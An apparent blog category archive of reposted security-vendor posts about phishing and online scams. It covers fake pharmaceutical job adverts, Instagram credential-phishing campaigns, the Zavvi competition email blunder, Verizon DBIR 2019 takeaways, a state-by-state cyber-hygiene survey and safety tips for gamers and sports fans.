Category Archives: Phishing

Pharmaceutical companies exploited by phishing scam targeting job seekers

Earlier this month, two major pharmaceutical giants issued warnings about phishing emails targeting job hunters.

GlaxoSmithKline and AstraZeneca say they are victims of recruitment scams, in which crooks create fake job adverts to obtain people’s personal and financial details. The bogus ads can be hard to spot, because they use legitimate logos and material, and hide the scammers’ email addresses effectively.

How the scam works

Based on AstraZeneca and GlaxoSmithKline’s statements, this is a fairly standard case of recruitment fraud. Job seekers find the fake advert on a recruitment site and provide their CV, which will typically include the applicant’s name, email address, current employer and other personal details.

The scammers will then email the applicant to say they are being considered, before offering them a job. At this point, one of two things will happen.

The scammers might refer the victim to an employment agent (also fake), who will ask for money to complete registration fees. Alternatively, the victim might report directly to the HR department of the bogus employer.

Either way, the final step of the crooks’ plan is to ask for financial details to pay the employee’s salary into. They will instead use the details to steal money, before cutting all ties with the victim.

Why it’s so successful

Recruitment fraud seems like one of the more obvious scams to spot. How could anyone’s alarm not be raised if they are offered a job without an interview?

Unfortunately, red flags like that are ignored in all kinds of phishing scams, and this scheme is a perfect example of why that happens. Most of us know how disheartening it is to send off application after application knowing that you probably won’t ever hear anything back. It’s therefore completely understandable that curiosity and/or hope might get the better of you when you hear that you’re not only in consideration but have also been offered a job.

Sure, you’re likely to be a little suspicious, but it’s a highly respected organisation like GlaxoSmithKline or AstraZeneca, so it must be legitimate, right?

It’s only in retrospect that you see all the clues that should’ve confirmed your suspicions.

What should you be looking for?

GlaxoSmithKline says job hunters can determine the legitimacy of an advert by asking:

  • Are there major spelling or grammatical errors in the communication?
  • What is the sender’s email address? Does this seem consistent with previous communications?
  • Who is sending the email? Search the name online to determine whether it’s a real employee and whether they are the appropriate person to be managing the application process.

It adds that an advert posted by a third party isn’t necessarily fraudulent, but recommends that job hunters research the company to see if they represent the organisation.

It’s not the end of the world if you don’t spot a scam during the application process. The crooks will have your contact details and any other information on your CV, but at least they won’t have your financial details. Preventing that from happening is simple, provided you remain cautious.

AstraZeneca and GlaxoSmithKline remind job hunters that they never ask for money during the recruitment process (no legitimate organisation would). The latter adds that:

If you receive a genuine job offer of a job with us, whether the offer is made directly by us or through an agency, you will not be required to pay any money towards administration fees.

We also recommend that you do not disclose personal or financial details to anyone you do not know.

As is standard, GlaxoSmithKline says that interviewees or those who have been offered jobs might be asked to provide passport information or other personal identification, such as a National Insurance number.

If you receive and accept a job offer, you will obviously have to provide financial information; this will typically be at the same time as you sign your employee contract. However, you should only be asked for account information, which is used to deposit funds, rather than the card number, which is used to withdraw funds.

Can you spot a phishing scam?

The warnings issued by AstraZeneca and GlaxoSmithKline show just how big of a threat phishing poses. The methods for spotting and preventing it are the same no matter what form the scam takes, yet millions of people fall victim in both personal and work environments.

When it comes to recruitment scams, it’s up to individuals to protect their own data, but organisations have a lot more at stake. An employee who can’t spot a malicious email is liable to hand over vast amounts of sensitive information or expose the organisation to further threats. For example, most ransomware attacks are spread via phishing emails.

Organisations can tackle that threat with our Phishing and Ransomware – Human patch e-learning course.

This ten-minute course explains the basics of email-based threats, showing staff how to spot and avoid phishing scams and ransomware.

The post Pharmaceutical companies exploited by phishing scam targeting job seekers appeared first on IT Governance Blog.

The Latest Techniques Hackers are Using to Compromise Office 365

It was only a few years back that cloud technology was in its infancy and used only by tech-savvy, forward-thinking organisations. Today, it is commonplace. More businesses than ever are making use of cloud services in one form another. And recent statistics suggest that cloud adoption has reached 88 percent. It seems that businesses now […]… Read More

The post The Latest Techniques Hackers are Using to Compromise Office 365 appeared first on The State of Security.

Zavvi Champions League Final Competition Winner Email Blunder

Like many Zavvi customers this morning, I received an email titled "Congratulations, you're our Mastercard Competition WINNER!" in my inbox. An amazing prize consisting of two tickets to watch Liverpool and Spurs battle it out in the 2019 UEFA Champions League Final in Madrid. The prize also included two nights at a 4-star hotel, flights, transfers and a £250 prepaid card.
Zavvi Winners Email

Obviously, my initial thought it was a phishing email, decent quality and a well-timed attempt given Liverpool and Tottenham Hotspur were confirmed as finalists after very dramatic semi-final matches on the previous nights. I logged into my Zavvi account directly, then reset my password just in case, and after a bit checking with the embedded links within the email, and research on the Zavvi website, I soon established it was a genuine email from Zavvi.

But before embarking on a Mauricio Pochettino style injury-time winning goal celebration, I had a quick scan of my social media feeds, and it quickly became apparent there were many others believing and bragging they had also won this fantastic prize.

Image result for pochettino
Pochettino Celebrating an unbelievable Spurs Comeback in the Semi-Final

So unless the Athletico Madrid stadium has undergone a huge capacity upgrade, it became obvious that someone at Zavvi had made a huge blunder, resulting in personalised competition winner emails to be sent on mass to thousands of Zavvi customers.

UCL Final Ticket Allocation?

This kind of mass emailing replicates the time-tested phishing technique deployed by cybercriminals. But instead of having a malicious web link, a hidden malware-laced attachment, or the opening dialogue of a social engineering scam, it took its recipients on an emotional rollercoaster which ended with them feeling as flat as the Ajax players, after they lost their place in the final following an injury-time strike by Spurs' Brazilian striker Lucas Moura.
Image result for ajax players heartbreak
Zavvi left their customers feeling as flat as Ajax players did last night

What compounded matters was Zavvi keeping relatively stum about the blunder throughout the day. The e-commerce entertainment retail store published an apology mid-morning on their Facebook page, but after 100s of comments by angry customers, they deleted the post a couple of hours later. It took them almost 8 hours before Zavvi finally followed up to the "Congratulations" email, by emailing an apology which offered a mere 15% discount off their website products. I suspect most Zavvi customer won't be too happy about that, especially those that went through the day believing they had won a once in a lifetime competition.
Zavvi Apology Email - Sent almost 8 hours after the Winners Email

2019 Verizon Data Breach Investigations Report (DBIR) Key Takeaways

The 2019 Verizon Data Breach Investigations Report (DBIR) was released today, and I was lucky enough to be handed a hot off the press physical copy while at the Global Cyber Alliance Cyber Trends 2019 event at Mansion House, London. For me, the DBIR provides the most insightful view on the evolving threat landscape, and is the most valuable annual “state of the nation” report in the security industry.

Global Cyber Alliance Cyber Trends 2019

The DBIR has evolved since its initial release in 2008, when it was payment card data breach and Verizon breach investigations data focused. This year’s DBIR involved the analysis of 41,686 security incidents from 66 global data sources in addition to Verizon. The analysed findings are expertly presented over 77 pages, using simple charts supported by ‘plain English’ astute explanations, reason why then, the DBIR is one of the most quoted reports in presentations and within industry sales collateral.

DBIR 2019 Key Takeaways
      • Financial gain remains the most common motivate behind data breaches (71%)
      • 43% of breaches occurred at small businesses
      • A third (32%) of breaches involved phishing
      • The nation-state threat is increasing, with 23% of breaches by nation-state actors
      • More than half (56%) of data breaches took months or longer to discover
      • Ransomware remains a major threat, and is the second most common type of malware reported
      • Business executives are increasingly targeted with social engineering, attacks such as phishing\BEC
      • Crypto-mining malware accounts for less than 5% of data breaches, despite the publicity it didn’t make the top ten malware listed in the report
      • Espionage is a key motivation behind a quarter of data breaches
      • 60 million records breached due to misconfigured cloud service buckets
      • Continued reduction in payment card point of sale breaches
      • The hacktivist threat remains low, the increase of hacktivist attacks report in DBIR 2012 report appears to be a one-off spike

A False Sense of Cybersecurity: The Riskiest States in America

Reading Time: ~5 min.

Like many Americans, you might think your online habits are safe enough—or, at least, not so risky as to put you in danger for cybercrime. As it happens, most of us in the U.S. are nowhere near as secure as we think we are.

As part of our recent survey to better understand people’s attitudes, perspectives, and behaviors relating to online cyber-safety (or “cyber-hygiene”), we calculated each state’s cyber-hygiene score, which you can think of like a test score on people’s understanding and practice of good online habits. I’ve repaired computers and worked in the cybersecurity business for almost 15 years now, and I was shocked by some of the results.

Cut to the chase: just how bad were the results?

Bad. The average across all 50 states was only 60% (that’s a D in letter grades) on our scale. In fact, only 10% of Americans got a 90% or higher (i.e. an A). The riskiest states—Mississippi, Louisiana, California, Alaska, and Connecticut— combined for an average score of 56%. So what made their scores so low?

  • In Mississippi, almost 1 in 4 people don’t use any kind of antivirus and don’t know if they’ve ever been infected by malware.
  • Only 44% of Louisiana residents take any precautions before clicking links in emails leaving themselves vulnerable. (This is a great way to get scammed by a phishing email and end up with a nasty infection on your computer.)
  • Over 43% of Californians and Alaskans share their passwords with friends or family.

What does people’s perception vs. reality look like?

Americans in every state were overconfident. An astounding 88% feel they take the right steps to protect themselves. But remember, only 10% of people scored an A on our test, and the highest scoring state (New Hampshire) still only got an average of 65% (that’s still only a D).

While the average American has a surface level understanding of common cyber threats, there’s a lot of room for education. Many of those interviewed have heard of malware (79%), phishing (70%), and ransomware (49%), but few could explain them. Defending against the most common online threats in today’s landscape requires a basic understanding of how they work. After all, the more cyber aware you are of an attack such as phishing, the greater chance you have to spot and avoid it.

Along with understanding common cyberattacks, it’s also important to recognize threats to your online privacy. An alarming amount of Americans don’t keep their social media accounts private (64%) and reuse their passwords across multiple accounts (63%).

Given the number of news reports involving major companies getting breached, huge worldwide ransomware attacks, etc., we were pretty surprised by these numbers. As you’re reading these, you might be checking off a mental list of all the things you do and don’t know, the actions you do and don’t take when it comes to cybersecurity. What’s important here is that this report should act as a reminder that understanding what kinds of threats are out there will help you take the proper precautions. And, following a few simple steps can make a huge difference in your online safety.

How about some good news?

There is good news. There are some who scored a 90% or above on our test. We call them Cyber-Hygiene Superstars, because they not only take all the basic steps to protect themselves and their data online, but they go above and beyond. Cyber-Hygiene Superstars are evenly spread across the entirety of the U.S., and they help demonstrate to the rest of us that it’s easy to raise our own cyber-hygiene scores.  

Some of the standout behavior of superstars included regularly backing up their data in multiple ways always using antivirus, and using a VPN when connecting to public WiFi Hotspots.

Superstars can also explain common attacks and are less likely to fall victim of phishing attacks and identity theft. They frequently monitor their bank and credit card statements and regularly check their credit scores.

What can you do to improve your cyber-hygiene score?

All in all, it’d be pretty easy for the average American to take their score from a D to at least a B, if not higher. You won’t have to do anything drastic. But just making a few small tweaks to your regular online behavior could work wonders to keep you and your family safe from cybercrime.

  1. Use antivirus/antimalware software.
    There are a lot of free solutions out there. While you typically get what you pay for in terms of internet security, even a free solution is better than no protection at all.
  2. Keep all your software and your operating system up to date.
    This one’s super easy. Most applications and operating systems will tell you when they need an update. All you have to do is click OK instead of delaying the update to a later date.
  3. Don’t share or reuse passwords, and make sure to use strong ones.
    You might think password sharing is no big deal, especially when it comes to streaming or gaming sites, but the more you share, the more likely it is that your passwords could end up being misused. And if the password to just one of your accounts is compromised, then any of your other accounts that use that password could also become compromised. If you’re concerned about having to create and remember a lot of unique passwords, use a secure password manager.
  4. Lock down your social media profiles.
    Making your posts and personal details public and searchable means scammers can find your details and increase their chances of successfully stealing your identity or tricking you into handing over money or sensitive personal information.
  5. If you connect to public WiFi, use a VPN.
    Antivirus software protects the device, but a VPN protects your actual connection to the internet, so what you do and information you send online stays private.
  6. Back up your data.
    Cloud storage is a great solution. But it’s a good idea to do a regular physical backup to an external drive, too, particularly for important files like tax documents.
  7. Don’t enable macros in Microsoft® Office documents.
    If you’re ever trying to open a document and it tells you to enable macros, don’t do it. This is a common tactic for infections.
  8. Use caution when opening email attachments.
    Only open attachments from people you know and trust, and, even then, be extra careful. If you’re really not sure, call the person and confirm that they really sent the file.

Want to see where your state ranks? See the full list or read more about our study and findings here.

Test your knowledge and see where the Webroot Community stacks up against the rest of America: Join our daily contest for a chance to win prizes! Contest ends at 4:00pm MT on May 21, 2019.

Methodology
Webroot partnered with Wakefield Research to survey 10,000 Americans, ages 18 and up, with 200 interviews in each of the 50 states. This survey was conducted between February 11 and February 25, 2019, using an email invitation and an online survey instrument. The margin of error is +/- 0.98 percentage points for the total audience of this study and +/- 6.9 percentage points for each state at the 95% confidence level.

The post A False Sense of Cybersecurity: The Riskiest States in America appeared first on Webroot Blog.

Online Tutoring Program Reveals Customer Data Breach

An online tutoring program has revealed that it suffered a data breach in which an unauthorized individual might have compromised customers’ information. The Hacker News received a copy of a notice sent out by Wyzant to its customers informing them about the data breach. According to this letter, the online tutoring program detected the security […]… Read More

The post Online Tutoring Program Reveals Customer Data Breach appeared first on The State of Security.

Cyber News Rundown: FBI Phishing Scam

Reading Time: ~2 min.

“FBI Director” Phishing Campaign

A new email phishing campaign has been making its way around the web that claims to be from “FBI Director Christopher Wray,” who would love to assist with a massive wire transfer to the victim’s bank account. Unfortunately for anyone hoping for a quick payday, the $10 million check from Bank of America won’t be arriving anytime soon, unless they are willing to enter more personal information and send it to a Special FBI agent using a Yahoo email address. While most phishing campaigns use scare tactics to scam victims, taking the opposite approach of offering a large payout seems less likely to get results.

Magecart Skimming Script Works on Dozens of Sites

Following the many Magecart attacks of recent years, a new payment skimming script has been found that allows attackers to compromise almost any online checkout page without the need to customize it for the specific site. The script currently works on 57 unique payment card gateways from around the world and begins injecting both the loader and the exfiltration script when the keyword “checkout” is searched for in the address bar.

Scammers Target Google Search Ads

Scammers are now turning towards Google Ads to post fake phone numbers posing to be customer support for popular websites such as eBay and Amazon. These phone scammers will often tell those who call that there is something wrong with their account and ask for a Google Play gift card code before they can help. The ads will look as if they are legitimate which causes confusion to those who call the phony numbers listed.  

Citycomp Data Dumped After Blackmail Attempt

Shortly after discovering that their systems had been breached, Citycomp announced they would not be paying a ransom for a large chunk of stolen client data. Unfortunately for Citycomp, the hackers decided to make the data publicly available after not receiving their requested $5,000. Amongst the stolen data is financial and personal information for dozens of companies for which Citycomp provides infrastructure services, though it may only be an initial dump and not the entire collection.

Email Scam Robs Catholic Church of Over $1.7 Million

The Saint Ambrose Catholic Parish in Ohio recently fell victim to email scammers who took nearly $2 million from the church currently undergoing a major renovation. The scammers targeted monthly transactions made between the church and the construction company by providing “updated” bank information for the payments and sending appropriate confirmations for each transfer. The church was only made aware of the breach after the construction company called to inquire about two months of missing payments.

The post Cyber News Rundown: FBI Phishing Scam appeared first on Webroot Blog.

“Spark Joy” With New 12.0 Email Security Features & Videos

When you see “software update available,” does it spark joy? For many of us, the answer is a resounding “no.” But, don’t be fooled into thinking that our new 12.0 release of Cisco Email Security is anything other than extraordinary. Here are three reasons why:

  • Our SVP of Product Management, Jeff Reed, puts it best: “It’s our biggest update in years.” We’ve poured resources into our Cisco Email Security product and it shows in a release that’s full of new features that directly impact our customers’ biggest pain points.
  • Cisco’s 12.0 release is threat focused. From the ground up, this release aims to arm organizations against common threats like phishing and business email compromise. As the frequency of email threats continue to rise, our customers can be confident that we continue to improve our security technology with updates to Sender Domain Reputation and External Threat Feeds (ETF).
  • We’re investing in the user experience. 12.0 for Security Management Appliance introduces Cisco’s next generation user interface and drives administrative intuition forward. A quicker UI, easy-to-read reporting summaries, and the continued trusted results makes it easier than ever to have an integrated approach to your email security posture.

Ready to dive into our latest release? We’ve compiled several resources to help you realize the value of these updates. First, the Release Notes for 12.0 for Email Security and the Release Notes for 12.0 for SMA include what’s new in the release and provides an easy-to-use guide to updating your software. Next, be sure to check out these videos below for a more in depth look at our most noteworthy features:

How-Tos

New to 12.0 is our How-Tos Widget.  This contextual widget provides in-app assistance to users in the form of walkthroughs to accomplish configuration and administrative steps within Cisco Email Security.  This video provides a brief walkthrough of this useful new tool.

External Threat Feeds

We’re excited—this release includes External Threat Feeds (ETF), which support STIX/TAXII. If you’re looking to take advantage of integrating external threat information,  this video walks through how you can add third-party threat feeds into your appliance and configuration.

Sender Domain Reputation (SDR)

Cisco SDR is our next level of providing a reputation verdict for email messages based on a sender’s domain and other attributes.  How does SDR work? This video explains how the reputation of an email is collected and what impact it has on email security.

 

 

DNS-based Authentication of Named Entities (DANE)

DANE adds additional ability to our encryption capabilities in Cisco Email Security.  This video dives into the new DANE features and explains how to configure it.

 

Smart Licensing

Why consider using a smart license? It’s easier to control usage, simplifies maintenance and eliminates the need for right-to-use licensing.

Cisco Threat Response

This video is an introduction to the new Cisco Threat Response (CTR) integration with AsyncOS 12.0 for Cisco Email Security. This video will explain how to integrate your Security Management Appliance (SMA) with CTR as a step-by-step walkthrough tutorial.

 

Once you are up to speed on what our 12.0 release can do for you, the final step is to upgrade!  After, be sure to reference the 12.0 User Guide for in-depth administration and further questions regarding services and configuration.

For even more email security resources, be sure to check our Cisco Email Security page regularly for whitepapers, analyst reports, videos and more.

 

This Week in Security News: Phishing Attacks and Ransomware

Welcome to our weekly roundup, where we share what you need to know about the cybersecurity news and events that happened over the past few days. This week, learn about schemes used in phishing and other email-based attacks. Also, learn how ransomware continues to make a significant impact in the threat landscape.

Read on:

New Report Finds 25% of Phishing Attacks Circumvent Office 365 Security

As email remains to be a common infection vector because of how easily it can be abused, attackers continue to take advantage of it by crafting threats that are persistent in nature and massive in number. 

New Twist in the Stuxnet Story

What a newly discovered missing link to Stuxnet and the now-revived Flame cyber espionage malware add to the narrative of the epic cyber-physical attack.

Cybersecurity Proposal Pits Cyber Pros Against Campaign Finance Hawks

A Federal Election Commission proposal aims to help presidential and congressional campaigns steer clear of hacking operations by allowing nonprofits to provide cybersecurity free of charge.

New Sextortion Scheme Demands Payment in Bitcoin Cash

Trend Micro researchers uncovered a sextortion scheme targeting Italian-speaking users. Based on IP lookups of the spam emails’ senders, they appear to have been sent via the Gamut spam botnet.  

This Free Tool Lets You Test Your Hacker Defenses

Organizations will be able to test their ability to deter hackers and cyberattacks with a free new tool designed by experts at the UK’s National Cyber Security Centre to prepare them against online threats including malware, phishing and other malicious activities.

Ransomware Hits County Offices, Knocks The Weather Channel Offline

On April 18, the systems of The Weather Channel in Atlanta, Georgia, were infected by ransomware, disrupting the channel’s live broadcast for 90 minutes. 

Hacker Finds He Can Remotely Kill Car Engines After Breaking Into GPS Tracking Apps

A hacker broke into thousands of accounts belonging to users of two GPS tracker apps, giving him the ability to monitor the locations of tens of thousands of vehicles and even turn off the engines for some of them while they were in motion.

Uncovering CVE-2019-0232: A Remote Code Execution Vulnerability in Apache Tomcat

Trend Micro delves deeper into this vulnerability by expounding on what it is, how it can be exploited, and how it can be addressed. 

Hacker Dumps Thousands of Sensitive Mexican Embassy Documents Online

A hacker stole thousands of documents related to the inner workings of the Mexican embassy in Guatemala and posted them online.

Cybersecurity: UK Could Build an Automatic National Defense System, Says GCHQ Chief

The UK could one day create a national cyber-defense system built on sharing real-time cybersecurity information between intelligence agencies and business, the head of the UK’s Government Communications Headquarters said at CYBERUK 19.

Do you think the new hacker defenses tool will decrease the number of cyber-attacks targeted at organizations and public sectors? Share your thoughts in the comments below or follow me on Twitter to continue the conversation: @JonLClay.

The post This Week in Security News: Phishing Attacks and Ransomware appeared first on .

Something’s Phishy With the Instagram “HotList”

Phishing scams have become incredibly popular these days. Cybercriminals have upped the ante with their tactics, making their phishing messages almost identical to the companies they attempt to spoof. We’ve all heard about phishing emails, SMiShing, and voice phishing, but cybercriminals are turning to social media for their schemes as well. Last week, the “Nasty List” phishing scam plagued Instagram users everywhere, leading victims to fake login pages as a means to steal their credentials. Now, cybercriminals are capitalizing on the success of the “Nasty List” campaign with a new Instagram phishing scam called “The HotList.”

This scam markets itself as a collection of pictures ranked according to attractiveness. Similar to the “Nasty List,” this scheme sends messages to victims through hacked accounts saying that the user has been spotted on this so-called “hot list.” The messages claim to have seen the recipient’s images on the profile @The_HotList_95. If the user goes to the profile and clicks the link in the bio, they are presented with what appears to be a legitimate Instagram login page. Users are tricked into entering their login credentials on the fake login pages, whose URL typically ends in .me domains. Once the cybercriminals acquire the victim’s login, they are able to use their account to further spread the campaign.

Images courtesy of Bleeping Computer. 

Luckily, there are steps users can take to help ensure that their Instagram account stays secure:

  • Be skeptical of messages from unknown users. If you receive a message from someone you don’t know, it’s best to ignore the message altogether or block the user. And if you think a friend’s social media account has been compromised, look out for spelling mistakes and grammatical errors in their message, which are common indicators of a potential scam at play.
  • Exercise caution when inspecting links sent to your messages. Always inspect a URL before you click on it. In the case of this scam, the URL that appears with the fake login page is clearly incorrect, as it ends in .me.
  • Reset your password. If your account was hacked by “The HotList” but you still have access to your account, reset your password to regain control of your page.

And, of course, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home  on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Something’s Phishy With the Instagram “HotList” appeared first on McAfee Blogs.

The “Nasty List” Phishing Scam Is out to Steal Your Instagram Login

How often do you check your social media accounts? According to a recent study, internet users spend an average of 2 hours and 22 minutes per day on social networking platforms. Since users are pretty reliant on social media, cybercriminals use it as an avenue to target victims with various cyberattacks. The latest social media scheme called “The Nasty List” scams users into giving up their Instagram credentials and uses their accounts to further promote the phishing scam.

So, how exactly do hackers trick innocent users into handing over their login information? Cybercriminals spread this scam by sending messages through hacked accounts to the user’s followers, stating that they were spotted on a “Nasty List.” These messages will read something like “OMG your actually on here, @TheNastyList_34, your number is 15! its really messed up.” If the recipient visits the profile listed in the message, they will see a link in the profile description. An example of one URL that has been listed in these scam profiles is nastylist-instatop50[.]me. The user is tricked into believing that this link will supposedly allow them to see why they are on this list. This link brings up what appears to be a legitimate Instagram login page. When the victim enters their credentials on the fake login page, the cybercriminals behind this scheme will be able to take over the account and use it to further promote the scam.

Images courtesy of Bleeping Computer.
Images courtesy of Bleeping Computer.

Fortunately, there are a number of steps Instagram users can take to ensure that they don’t fall victim to this trap. Check out the following tips:

  • Be skeptical of messages from unknown users. If you receive a message from someone you don’t know, it’s best to ignore the message altogether or block the user. Additionally, if you think a friend’s social media account has been compromised, look out for spelling mistakes and grammatical errors in their message, which are common in these scams.
  • Exercise caution when inspecting links sent to your messages. Always inspect a URL before you click on it. In the case of this scam, the URL that appears with the fake login page is clearly incorrect, as it ends in a [.]me.
  • Reset your password. If your account was hacked by ‘The Nasty List’ but you still have access to your account, reset your password to regain control of your account.

And, as usual, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home  on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post The “Nasty List” Phishing Scam Is out to Steal Your Instagram Login appeared first on McAfee Blogs.

5 ways to instantly detect a phishing email and save yourself from phishing attack

Phishing is a fraudulent activity to trick you into revealing your personal and confidential information. This information usually includes bank account details, net banking details, credit/debit card numbers, login ID and passwords. Every day, countless people become unsuspecting victims of phishing attacks. With cyber criminals adopting sophisticated modes of phishing…

The GPS Rollover Bug: 3 Tips to Help You Avoid Phishing Scams

Today, users are extremely reliant on our GPS devices. In fact, we’re so reliant on these devices that map features are programmed into almost every IoT device we use as well as inside of our vehicles. However, the Department of Homeland Security has issued an alert to make users aware of a GPS receiver issue called the GPS Week Number Rollover that is expected to occur on or around April 6, 2019. While this bug is only expected to affect a small number of older GPS devices, users who are impacted could face troubling results.

You may be wondering, what will cause this rollover issue? GPS systems count weeks using a ten-bit parameter, meaning that they start counting at week zero and then reset when they hit week 1,024, or 19.5 years. Because the last reset took place on August 21, 1999, it appears that the next reset will occur on April 6, 2019. This could result in devices resetting their dates and potentially corrupting navigation data, which would throw off location estimates. That means your GPS device could misrepresent your location drastically, as each nanosecond the clock is out translates into a foot of location error.

So, how does this rollover issue translate into a potential cyberthreat? It turns out that the main fix for this problem is to ensure that your GPS device’s software is up-to-date. However, due to the media attention that this bug is receiving, it’s not far-fetched to speculate that cybercriminals will leverage the issue to target users with phishing attacks. These attacks could come in the form of email notifications referencing the rollover notice and suggesting that users install a fraudulent software patch to fix the issue. The emails could contain a malicious payload that leaves the victim with a nasty malware on their device.

While it’s difficult to speculate how exactly cybercriminals will use various events to prey on innocent users, it’s important to be aware of potential threats to help protect your data and safeguard your devices. Check out the following tips to help you spot potential phishing attacks:

  • Validate the email address is from a recognized sender. Always check the validity of signature lines, including the information on the sender’s name, address, and telephone number. If you receive an email from an address that you don’t recognize, it’s best to just delete the email entirely.
  • Hover over links to see and verify the URL. If someone sends you a link to “update your software,” hover over the link without actually clicking on it. This will allow you to see a link preview. If the URL looks suspicious, don’t interact with it and delete the email altogether.
  • Be cautious of emails asking you to take action. If you receive a message asking you to update your software, don’t click on anything within the message. Instead, go straight to your software provider’s website. This will prevent you from downloading malicious content from phishing links.

And, as always, to stay on top of the latest consumer and mobile security threats, be sure to follow @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post The GPS Rollover Bug: 3 Tips to Help You Avoid Phishing Scams appeared first on McAfee Blogs.

How Online Scams Drive College Basketball Fans Mad

Sports fans everywhere look forward to mid-March for the NCAA men’s college basketball tournament. However, it’s not just college basketball fans that look forward to this time of year. Cybercriminals use March to launch malicious campaigns in the hopes of gaining access to personal information from unsuspecting fans. Let’s take a look at the most popular techniques cybercriminals use to gain access to passwords and financial information, as well as encourage victims to click on suspicious links.

Online betting provides cybercriminals with a wealth of opportunities to steal personal and financial information from users looking to engage with the games while potentially making a few extra bucks. The American Gaming Association (AGA) estimates that consumers will wager $8.5 billion on the 2019 NCAA men’s basketball tournament. What many users don’t realize is that online pools that ask for your personal and credit card information create a perfect opportunity for cybercriminals to take advantage of unsuspecting fans.

In addition to online betting scams, users should also be on the lookout for malicious streaming sites. As fewer and fewer homes have cable, many users look to online streaming sites to keep up with all of the games. However, even seemingly reputable sites could contain malicious phishing links. If a streaming site asks you to download a “player” to watch the games, there’s a possibility that you could end up with a nasty malware on your computer.

Ticket scammers are also on the prowl during March, distributing fake tickets on classified sites they’ve designed to look just like the real thing. Of course, these fake tickets all have the same barcode. With these scams floating around the internet, users looking for cheap tickets to the games may be more susceptible to buying counterfeit tickets if they are just looking for the best deal online and are too hasty in their purchase.

So, if you’re a college basketball fan hoping to partake in this exciting month – what next? In order to enjoy the fun that comes with the NCAA tournament without the risk of cyberthreats, check out the following tips to help you box out cybercriminals this March:

  • Verify the legitimacy of gambling sites. Before creating a new account or providing any personal information on an online gambling website, poke around and look for information any legitimate site would have. Most gambling sites will have information about the site rules (i.e., age requirements) and contact information. If you can’t find such information, you’re better off not using the site.
  • Be leery of free streaming websites. The content on some of these free streaming websites is likely stolen and hosted in a suspicious manner, as well as potentially contains malware. So, if you’re going to watch the games online, it’s best to purchase a subscription from a legitimate streaming service.
  • Stay cautious on popular sports sites and apps. Cybercriminals know that millions of loyal fans will be logging on to popular sports sites and apps to stay updated on the scores. Be careful when you’re visiting these sites you’re not clicking on any conspicuous ads or links that could contain malware. If you see an offer that interests you in an online ad, you’re better off going directly to the website from the company displaying the ad as opposed to clicking on the ad from the sports site or app.
  • Beware of online ticket scams. Scammers will be looking to steal payment information from fans in search of last-minute tickets to the games. To avoid this, it’s best to buy directly from the venue whenever possible. If you decide to purchase from a reseller, make sure to do your research and only buy from trusted vendors.
  • Use comprehensive security software. Using a tool like McAfee WebAdvisor can help you avoid dangerous websites and links, and will warn you in the event that you do accidentally click on something malicious. It will provide visual warnings if you’re about to go to a suspicious site.

And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

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How Online Gamers Can Play It Safe

Online gaming has grown exponentially in recent years, and scammers have taken note. With the industry raking in over $100 billion dollars in 2017 alone[1], the opportunity to funnel some money off through fraud or theft has proven irresistible to the bad guys, leaving gamers at greater risk.

From malware and phishing scams, to phony game hacks, identity theft, and more, gamers of all stripes now face a minefield of obstacles online and in real life. So, if you’re going to play games, it’s best to play it safe.

Here’s what to look out for:

Dodgy Downloads

Gamers who play on their computer or mobile device need to watch out for dangerous links or malicious apps disguised as popular or “free” games. Hackers often use innocent-looking downloads to deliver viruses and spyware, or even sign you up for paid services, without your consent. In one prominent case, more than 2.6 million Android users downloaded fake Minecraft apps that allowed hackers to take control of their devices.

Researchers have even discovered a ransomware threat that targets gamers. TeslaCrypt was designed to encrypt game-play data until a ransom is paid. Originally distributed through a malicious website, it has since been circulating via spam.

And while it’s true that game consoles like PlayStation and Xbox aren’t as vulnerable to viruses, since they are closed systems, that doesn’t mean that their users don’t face other risks.

Social Scams

Players on any platform could wind up with malware, sent directly from other players via chat messages. Some scammers use social engineering tricks, like inviting other players to download “helpful” tools that turn out to be malware instead. When you consider that 62% of kids play games where they speak to others, the odds of a risky interaction with a stranger seems quite real.

Players of the Origin and Steam services, for instance, were targeted by hackers posing as other players, inviting them to play on their teams. Over chat message, they suggested the players download an “audio tool” that turned out to be a keystroke logger, aimed at stealing their access credentials for the game.

Other social scams include malicious YouTube videos or websites, offering game bonuses and currency, for free.

Another widespread social threat is account takeover, or ATO for short. This is when a scammer hacks a real account in order to post spammy links, and scam messages that appear to come from a trusted contact. Some accounts, for games like League of Legends, have even been stolen and sold online for money because they boasted a high level, or rare skins.

Phishing

Finally, be on the lookout for phishing websites, offering free games or bonuses, or phishy emails prompting you to login to your account, with a link leading to a copycat gaming site. Often, these are designed to steal your login credentials or distribute fake games that contain malware.

Players of the wildly popular Fortnite, for example, have been particularly targeted. The latest phishing scam is aimed at stealing the third-party sign-in tokens that allow cybercriminals to access a user’s account, and the payment details associated with it.

So now that you know about a little more about gaming threats, here’s how to win at playing it safe:

  1. Do Your Research—Before downloading any games from the Internet or app stores, make sure to read other users’ reviews first to see that they are safe. This also goes for sites that sell game hacks, credits, patches, or virtual assets typically used to gain rank within a game. Avoid illegal file-sharing sites and “free” downloads, since these are often peppered with malware. It’s always best to go for a safer, paid option from a reputable source.
  2. Play Undercover— Be very careful about sharing personal information, in both your profile information, and your chat messages. Private information, such as your full name, address, pet’s name, school, or work details, could be used to guess your account password clues, or even impersonate you. Consider playing under an alias.
  3. Be Suspicious—Since scammers use the social aspect of games to fool people, you need to keep your guard up when you receive messages from strangers, or even read reviews.
    Some YouTube and social media reviews are placed there to trick users into thinking that the game or asset is legitimate. Dig deep, and avoid looking for free hacks. Ask gamers you know in real life for recommendations that worked for them.
  4. Protect Yourself—Avoid using older versions of games, and make sure that games you do play are updated with patches and fixes. And if you think a gaming account may already have been compromised, change your passwords immediately to something unique and complex.Safeguard your computers and devices from known and emerging threats by investing in comprehensive security software, and keep yourself up-to-date on the latest scams.

Looking for more mobile security tips and trends? Be sure to follow @McAfee Home on Twitter, and like us on Facebook.

[1]According to The 2017 Year In Review Report by SuperData

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AI & Your Family: The Wows and Potential Risks

